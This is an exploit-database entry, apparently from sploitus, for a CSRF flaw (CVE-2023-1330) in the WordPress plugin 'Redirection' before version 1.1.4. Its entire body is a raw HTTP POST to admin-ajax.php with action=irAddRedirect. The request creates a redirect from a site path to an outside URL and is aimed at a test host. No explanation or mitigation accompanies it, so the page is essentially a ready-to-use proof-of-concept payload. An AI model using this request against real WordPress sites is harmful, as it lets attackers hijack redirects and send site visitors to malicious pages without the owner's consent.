Exploit for Redirection < 1.1.4 - Redirect Creation via CSRF CVE-2023-1330

Name: Exploit for Redirection < 1.1.4 - Redirect Creation via CSRF CVE-2023-1330
Rating: 5 (120 reviews)

2023-03-10 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:DE4CFF6D-0030-40E6-8221-FEF56E12B4DE
````
POST /wp-admin/admin-ajax.php HTTP/2
Host: sawcup.s2-tastewp.com
Cookie: test=test;
User-Agent: useragent
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sawcup.s2-tastewp.com/wp-admin/admin.php?page=irrp-redirection
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Origin: https://sawcup.s2-tastewp.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

action=irAddRedirect&id=0&from=https%3a%2f%2fsawcup.s2-tastewp.com%2ftest&to=https%3a%2f%2fexample.com%2f&selected=&redirectionType=redirection
````